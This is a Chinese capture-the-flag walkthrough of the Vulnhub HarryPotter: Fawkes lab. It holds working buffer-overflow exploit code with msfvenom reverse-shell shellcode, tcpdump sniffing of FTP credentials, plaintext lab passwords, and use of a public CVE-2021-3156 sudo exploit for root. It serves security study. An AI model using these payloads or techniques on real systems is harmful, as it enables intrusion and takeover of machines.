当前位置: 首页 > news >正文

Vulnhub系列靶机---HarryPotter-Fawkes-哈利波特系列靶机-3

文章目录

      • 信息收集
        • 主机发现
        • 端口扫描
        • dirsearch扫描
        • gobuster扫描
      • 漏洞利用
        • 缓冲区溢出
          • edb-debugger工具
          • msf-pattern工具
        • docker容器内提权
        • tcpdump流量分析
        • 容器外- sudo漏洞提权

靶机文档:HarryPotter: Fawkes

下载地址:Download (Mirror)

难易程度:难上难

信息收集

主机发现

 sudo netdiscover -r 192.168.8.0/24

image-20230912201415532

端口扫描

 sudo nmap -A -p- 192.168.8.128

image-20230912202244641

开放了ftp,web,ssh等服务

访问80端口

image-20230912202341747

dirsearch扫描

image-20230912202354945

gobuster扫描

gobuster dir -u http://192.168.8.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

image-20230912202839286

尽管使用了两个扫描工具,还是没有什么有用的信息

访问ftp看看有 什么信息

image-20230912203206284

image-20230912203304605

ELF是一种文件格式,是Linux的执行文件

赋予该 文件执行权限,,执行后没有反应

image-20230912203516826

查看运行端口号

image-20230912203840843

ss 是 Socket Statistics 的缩写。ss 命令可以用来获取 socket 统计信息,它显示的内容和 netstat 类似。但  ss 的优势在于它能够显示更多更详细的有关 TCP 和连接状态的信息,而且比 netstat 更快。当服务器的 socket  连接数量变得非常大时,无论是使用 netstat 命令还是直接 cat /proc/net/tcp,执行速度都会很慢。ss 命令利用到了 TCP 协议栈中 tcp_diag。tcp_diag 是一个用于分析统计的模块,可以获得 Linux 内核中第一手的信息,因此 ss  命令的性能会好很多。-p, –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
-a,all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
-n, –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
-t, –tcp 显示 TCP 协议的 sockets
-u, –udp 显示 UDP 协议的 sockets

发现端口号发端口扫描的时候一样,都是9898

使用nc工具,尝试监听本地9898端口

image-20230912204012964

给出的信息和端口扫描的时候得出的信息一样

image-20230912204051060

漏洞利用

缓冲区溢出

进行缓冲区溢出测试之前需要关闭ASLR

aslr是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。如今Linux,Windows等主流操作系统都已采用了该技术。

将kali上的ALSR安全机制关闭,该技术会导致地址空间随机化,不便调试

ALSR由 /proc/sys/kernel/randomize_va_space 决定,默认为2

0 - 表示关闭进程地址空间随机化

1 - 表示将mmap的基址,stack和vdso页面随机化。

2 - 表示在1的基础上增加栈(heap)的随机化。

echo 0 > /proc/sys/kernel/randomize_va_space
edb-debugger工具

apt install deb-bebugger安装这个图形化程序调试工具

如果安装不上可以从Github上拉取到本地,再进行编译

安装依赖:

sudo apt-get install        pkg-config 
sudo apt-get install        cmake 
sudo apt-get install        build-essential
sudo apt-get install        libboost-dev
sudo apt-get install        libqt5xmlpatterns5-dev
sudo apt-get install        qtbase5-dev  
sudo apt-get install        qt5-default    
sudo apt-get install        libgraphviz-dev  
sudo apt-get install        libqt5svg5-dev 
sudo apt-get install        libcapstone-dev            
# build and run edb
$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake -DCMAKE_INSTALL_PREFIX=/usr/local/ ..
$ make
$ sudo make install
$ edb

,打开后点击attach功能,通过关键字选择已经跑起来的程序server_hogwarts(前提kali已经启动了server_hogwarts程序),点击开始按钮运行

image-20230912220014396

image-20230912220058135

使用Python生成500个A进行一般探测

python -c "print('A'*500)"

image-20230912220220257

image-20230912220346265

nc连接访问9898端口,注入生成的500个A

image-20230912220840908

image-20230912220852284

发现目标程序崩溃,位置0x41414141出现了错误

image-20230912220928405

EIP寄存器存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体命令

msf-pattern工具

寻找缓冲区溢出位置:

使用msf生成500个随机字符串

 msf-pattern_create -l 500

image-20230913145918580

重新打开一次那个文件,还有edb,将生成的字符串输入到咒语选择的地方

image-20230913150150271

image-20230913150207242

image-20230913150644480

通过报错提示我们得知0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置;
查找该段编码对应的字符串在模式字符串中的偏移量:

msf-pattern_offset -l 500 -q 64413764

image-20230913150420058

也就是说从模式字符串中的第113个字符串开始造成了栈溢出

找到偏移位置后,构造反弹shell,要将构造的反弹shell十六进制后放入到ESP中,再让EIP指向ESP,反弹shell被执行

image-20230913151049857

image-20230913151453973

image-20230913151500870

找到 jmp esp 指令并记录其地址(0x08049d55

由于机器指令需要反写,转化为16进制

  08049d55---->559d0408---->\x55\x9d\x04\x08(需要写入EIP的内容)

使用Msfvenom构造反弹shell

Msfvenom它是一个是用来生成后门的软件

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.8 LPORT=6868 -b "\x00" -f python# LHOST:改为 kali 的 IP;
# LPORT:改为监听反弹 shell 的端口号;
# -b "\x00":过滤坏字符(’\0’),避免输入提前终止

image-20230913153347210

得出的Payload:

buf =  b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"

构造exp脚本

# exp.py
import struct, socket,sysbuf =  b""
buf += b"\xbb\xae\xef\x70\xa4\xda\xd0\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x83\xea\xfc\x31\x5a\x0e\x03\xf4"
buf += b"\xe1\x92\x51\x39\x25\xa5\x79\x6a\x9a\x19\x14\x8e"
buf += b"\x95\x7f\x58\xe8\x68\xff\x0a\xad\xc2\x3f\xe0\xcd"
buf += b"\x6a\x39\x03\xa5\xac\x11\xfb\x3d\x45\x60\xfc\x27"
buf += b"\x41\xed\x1d\xe7\x0f\xbe\x8c\x54\x63\x3d\xa6\xbb"
buf += b"\x4e\xc2\xea\x53\x3f\xec\x79\xcb\xd7\xdd\x52\x69"
buf += b"\x41\xab\x4e\x3f\xc2\x22\x71\x0f\xef\xf9\xf2"payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32  + buf
#payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf
try:s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('192.168.8.8', 9898))s.send((payload))s.close()
except:print("Wrong!")sys.exit()

image-20230913154632899

image-20230913160657880

成功拿到shell

docker容器内提权

在harry的目录下查看到.mycreds.txt中有一串疑似密码的字符串Harryp0tter@Hogwarts123,查看是否可以用来ssh登录

22端口下发现无法进入,前面端口探测到2222端口也是ssh服务,尝试在2222端口连接

harry : HarrYp0tter@Hogwarts123

ssh harry@192.168.8.128 -p 2222

image-20230913214824998

连接成功第一件事就是看看有没有能够以root省份执行的命令

image-20230913215122665

结果发现有所有的权限,而且还有不需要密码

sudo -i,使用root用户的环境变量,跳转到/root,拥有超级管理员权限

sudo -s,使用当前用户的环境变量,不跳转目录;拥有超级管理员权限

查看root目录下

image-20230913215726520

tcpdump流量分析

Linux作为网络服务器,特别是作为路由器和网关时,数据的采集和分析是不可少的。TcpDump是Linux中强大的网络数据采集分析工具之一。

    tcpdump可以根据使用者需求对网络上传输的数据包进行捕获的抓包工具,windows平台有wireshark等工具,tcpdump可以将网络中传输的数据包的“包头”全部捕获过来进行分析,其支持网络层、特定的传输协议、数据发送和接收的主机、网卡和端口的过滤,并提供and、or、not等语句进行逻辑组合捕获数据包或去掉不用的信息

根据提示,是要让我们把21端口的流量 监听分析一下,同时,使用ip a发现,这应该不是靶机本体,应该是在一个docker中,根据ip地址进行判断,这个2222端口应该是docker中的ssh,所以我们并没有进入到靶机本体的22端口,

image-20230913215951182

监听21端口流量

tcpdump -i eth0 port 21

image-20230913220245357

发现 neville用户,密码bL!Bsg3k

连接22端口成功,并且找到了第二个flag

image-20230913220500158

再次查看ip,此时已经从docker容器里出来了

image-20230913220542561

容器外- sudo漏洞提权

查看sudo 版本

sudo --version

image-20230913220714015

网上找出该版本是sudo堆溢出漏洞,漏洞编号:CVE-2021-3156,普通用户可以通过利用此漏洞,在默认配置的 sudo 主机上获取root权限

exp地址:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

在靶机中查看sudo的路径

which sudo 

image-20230913221729484

然后修改下载的exp里的SUDO_PATH

image-20230913222034139

靶机开启监听,端口6868

nc -lvnp 6868 >  exploit_nss.py

image-20230913222338542

kali机访问靶机的6868端口,上传修改好的exp

nc 192.168.8.128 6868 < exploit_nss.py -w 1

image-20230913222350410

在靶机上运行exp即可提权成功!

image-20230913222529922

image-20230913222540359

相关文章:

Vulnhub系列靶机---HarryPotter-Fawkes-哈利波特系列靶机-3

文章目录 信息收集主机发现端口扫描dirsearch扫描gobuster扫描 漏洞利用缓冲区溢出edb-debugger工具msf-pattern工具 docker容器内提权tcpdump流量分析容器外- sudo漏洞提权 靶机文档&#xff1a;HarryPotter: Fawkes 下载地址&#xff1a;Download (Mirror) 难易程度&#xff…...

【服务器】ASUS ESC4000-E11 安装系统

ASUS ESC4000-E11说明书 没找到 ASUS ESC4000-E11的说明书&#xff0c;下面是ESC4000A-E11的说明书&#xff1a; https://manualzz.com/doc/65032674/asus-esc4000a-e11-servers-and-workstation-user-manual 下载地址&#xff1a; https://www.manualslib.com/manual/231379…...

创建java文件 自动添加作者、时间等信息 – IDEA 技巧

2023 09 亲测 文章目录 效果修改位置配置信息 效果 每次创建文件的时候&#xff0c;自动加上作者、时间等信息 修改位置 打开&#xff1a;File —> Settings —> Editor —> File and Code Templates —> includes —> FileHeader 配置信息 /*** author : Java…...

第27章_瑞萨MCU零基础入门系列教程之freeRTOS实验

本教程基于韦东山百问网出的 DShanMCU-RA6M5开发板 进行编写&#xff0c;需要的同学可以在这里获取&#xff1a; https://item.taobao.com/item.htm?id728461040949 配套资料获取&#xff1a;https://renesas-docs.100ask.net 瑞萨MCU零基础入门系列教程汇总&#xff1a; ht…...

Java学习之--类和对象

&#x1f495;粗缯大布裹生涯&#xff0c;腹有诗书气自华&#x1f495; 作者&#xff1a;Mylvzi 文章主要内容&#xff1a;Java学习之--类和对象 类和对象 类的实例化&#xff1a; 1.什么叫做类的实例化 利用类创建一个具体的对象就叫做类的实例化&#xff01; 当我们创建了…...

Unity技术手册-UGUI零基础详细教程-Canvas详解

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…...

破天荒呀!小杜微信有名额了

写在前面 小杜粉&#xff0c;众所周知前面加小杜微信为好友的基本都是由名额限制的。一般都是付费进入社群且进行备注&#xff0c;小杜才会长期保留微信好友。主要由于&#xff0c;添加的人数太多了&#xff0c;微信账号人数名额有限。因此&#xff0c;小杜过一段时间&#xf…...

领域驱动设计:领域模型与代码模型的一致性

文章目录 领域对象的整理从领域模型到微服务的设计领域层的领域对象应用层的领域对象 领域对象与微服务代码对象的映射典型的领域模型非典型领域模型 DDD 强调先构建领域模型然后设计微服务&#xff0c;以保证领域模型和微服务的一体性&#xff0c;因此我们不能脱离领域模型来谈…...

TypeScript命名空间和模块

&#x1f3ac; 岸边的风&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 命名空间&#xff08;Namespace&#xff09; 命名空间&#xff08;Namespace&#xff09;使用场景 第三方库 兼容…...

C++学习笔记--函数重载(1)

文章目录 序言一、洞悉函数重载决议1.1、重载决议的基本流程1.2、Name Lookup1.2.1、Qualified Name Lookup1.2.1.1、Class Member Lookup1.2.1.2、Namespace Member Lookup 1.2.2、Unqualified Name Lookup1.2.2.1、Usual Unqualified Lookup1.2.2.2、Argument Dependant Look…...

交叉编译poco-1.9.2

目录 一、文件下载二、编译三、可能遇到的问题和解决方法3.1 error "Unknown Hardware Architecture."3.2 error Target architecture was not detected as supported by Double-Conversion一、文件下载 下载地址:poco-1.9.2 二、编译 解压目录后打开build/config/…...

C++中如何处理超长的数字(long long类型的整数都无法存储的)

C中如何处理超长的数字&#xff08;long long类型的整数都无法存储的&#xff09; 在 C中&#xff0c;如果数字超出了 long long 类型的范围&#xff0c;可以考虑使用字符串或第三方库&#xff08;如 Boost.Multiprecision&#xff09;来表示和处理超长数字。要使用第三方库需…...

RabbitMQ MQTT集群方案官方说明

RabbitMQ MQTT 官方网说明 官方地址: https://www.rabbitmq.com/mqtt.html 从3.8开始&#xff0c;该MQTT插件要求存在一定数量的群集节点。这意味着三分之二&#xff0c;五分之三&#xff0c;依此类推。 该插件也可以在单个节点上使用&#xff0c;但不支持两个节点的集群。 如…...

深圳唯创知音电子将参加IOTE 2023第二十届国际物联网展•深圳站

​ 2023年9月20~22日&#xff0c;深圳唯创知音电子将在 深圳宝安国际会展中心&#xff08;9号馆9B1&#xff09;为您全面展示最新的芯片产品及应用方案&#xff0c;助力传感器行业的发展。 作为全球领先的芯片供应商之一&#xff0c;深圳唯创知音电子一直致力于为提供高质量、…...

《TCP/IP网络编程》阅读笔记--I/O复用

目录 1--基于I/O复用的服务器 2--select()函数 3--基于I/O复用的回声服务器端 4--send()和recv()函数的常用可选项 5--readv()和writev()函数 1--基于I/O复用的服务器 多进程服务器端具有以下缺点&#xff1a;当有多个客户端发起连接请求时&#xff0c;就会创建多个进程来…...

[C#] 允许当前应用程序通过防火墙

通常在一台装有防火墙的电脑上运行程序的场合&#xff0c;往往会弹出对话框提示&#xff1a;是否允许执行该应用程序。 我们在开发软件的时候&#xff0c;可以事先在软件里面设置当前软件为防火墙允许通过的软件。这样&#xff0c;用户在使用时就可以避开前面提到的弹框了。 在…...

帆软FineReport决策报表Tab实现方案

最近有个需求是要做首页展示&#xff0c;为了减少前端工作量&#xff0c;利用采购的帆软FineReport来实现&#xff0c;记录过程&#xff0c;方便备查。 需求 做个Tab页&#xff0c;实现多个页切换。 方案一、利用帆软自带切换 帆软自带的有Tab控件&#xff0c;可实现切换&a…...

只打印文名

CMakeLists.txt set(CMAKE_C_FLAGS "-O0 -ggdb -D__NOTDIR_FILE__$(notdir $<)") // set(CMAKE_C_FLAGS "-O0 -ggdb -D__NOTDIR_FILE__$(notdir $<) -D__FILENAME__$(subst $(dir $<),,$<)")C文件 #include <stdio.h>#ifdef __NOTDIR_…...

【经典小练习】JavaSE—拷贝文件夹

&#x1f38a;专栏【Java小练习】 &#x1f354;喜欢的诗句&#xff1a;天行健&#xff0c;君子以自强不息。 &#x1f386;音乐分享【如愿】 &#x1f384;欢迎并且感谢大家指出小吉的问题&#x1f970; 文章目录 &#x1f384;效果&#x1f33a;代码&#x1f6f8;讲解&#x…...

FPGA-结合协议时序实现UART收发器(六):仿真模块SIM_uart_drive_TB

FPGA-结合协议时序实现UART收发器&#xff08;六&#xff09;&#xff1a;仿真模块SIM_uart_drive_TB 仿真模块SIM_uart_drive_TB&#xff0c;仿真实现。 vivado联合modelsim进行仿真。 文章目录 FPGA-结合协议时序实现UART收发器&#xff08;六&#xff09;&#xff1a;仿真模…...

Python 3.15 JIT为何在Docker中静默禁用?揭开musl libc与libffi-3.4.6 ABI不兼容的致命链

第一章&#xff1a;Python 3.15 JIT 的设计目标与 Docker 场景适配性Python 3.15 引入的实验性 JIT&#xff08;Just-In-Time&#xff09;编译器并非追求通用性能提升&#xff0c;而是聚焦于特定高价值场景——尤其是容器化微服务中反复执行的 CPU 密集型工作负载。其核心设计目…...

提升开发效率:用快马一键生成快速排序多版本性能对比工具

今天在优化一个数据处理模块时&#xff0c;遇到了需要选择合适排序算法的问题。不同数据特征下&#xff0c;快速排序的各种变体表现差异很大&#xff0c;手动测试效率实在太低。于是我用InsCode(快马)平台快速搭建了一个性能对比工具&#xff0c;整个过程比想象中简单很多。 需…...

【Spark实战指南】RDD核心操作与数据分析实战(附完整代码)

1. RDD基础与实战环境搭建 RDD&#xff08;Resilient Distributed Dataset&#xff09;是Spark最核心的数据抽象&#xff0c;你可以把它理解成一个分布式的数据集合&#xff0c;但比普通集合更强大。想象你有一本超大的电话簿被撕成很多页&#xff0c;分给不同的人保管——RDD就…...

Diagrams:轻量化且多语言支持的Visio替代方案

1. 为什么你需要一个Visio替代方案&#xff1f; 如果你经常需要画流程图、架构图或者UML图&#xff0c;肯定对Microsoft Visio不陌生。作为一款老牌绘图工具&#xff0c;Visio确实功能强大&#xff0c;但它的缺点也同样明显。首先就是价格问题&#xff0c;正版Visio的订阅费用不…...

别再只仿真了!手把手教你用LabVIEW+USRP-2920搭建真实无线通信链路(BPSK/QPSK调制实战)

从仿真到实战&#xff1a;LabVIEW与USRP-2920构建无线通信链路的完整指南 在通信工程领域&#xff0c;仿真与硬件实现之间往往存在一道难以逾越的鸿沟。许多工程师能够熟练使用MATLAB或LabVIEW进行通信系统仿真&#xff0c;但当面对USRP-2920这样的射频硬件时&#xff0c;却常常…...

STM32温湿度监控系统设计与实现

## 1. 工业生产线温湿度监控系统设计### 1.1 系统架构设计 基于STM32F103C8T6微控制器的工业级温湿度监控系统采用三层架构&#xff1a; - **感知层**&#xff1a;3个DHT22数字温湿度传感器 - **控制层**&#xff1a;STM32F103C8T6最小系统板 - **云平台层**&#xff1a;ESP826…...

程序员巫术:用玩偶诅咒删库的同事

——软件测试从业者的专业反思与健康应对在软件开发的战场上&#xff0c;测试工程师常被视为“质量守门人”&#xff0c;肩负着拦截缺陷、守护产品稳定的重任。然而&#xff0c;当一位愤怒的测试员掏出针线缝制玩偶&#xff0c;试图用“巫术”诅咒那位鲁莽删库的同事时&#xf…...

DFS经典例题(八皇后,数独)

1.1P1036 [NOIP 2002 普及组] 选数 解题思路 这里是组合思想与元素的排序无关&#xff0c;列举出所有符合的组合再判断是否符合素数 代码 #include<iostream> using namespace std; const int N 21; int a[N]; int path; int ret; int n, m;bool is(int path) {if (pa…...

USB设备安全弹出工具终极指南:告别Windows繁琐移除,一键搞定所有存储设备

USB设备安全弹出工具终极指南&#xff1a;告别Windows繁琐移除&#xff0c;一键搞定所有存储设备 【免费下载链接】USB-Disk-Ejector A program that allows you to quickly remove drives in Windows. It can eject USB disks, Firewire disks and memory cards. It is a quic…...

如何在浏览器中零门槛查看3D模型?这款开源工具让你告别专业软件

如何在浏览器中零门槛查看3D模型&#xff1f;这款开源工具让你告别专业软件 【免费下载链接】Online3DViewer A solution to visualize and explore 3D models in your browser. 项目地址: https://gitcode.com/gh_mirrors/on/Online3DViewer 想不想在浏览器里直接打开3…...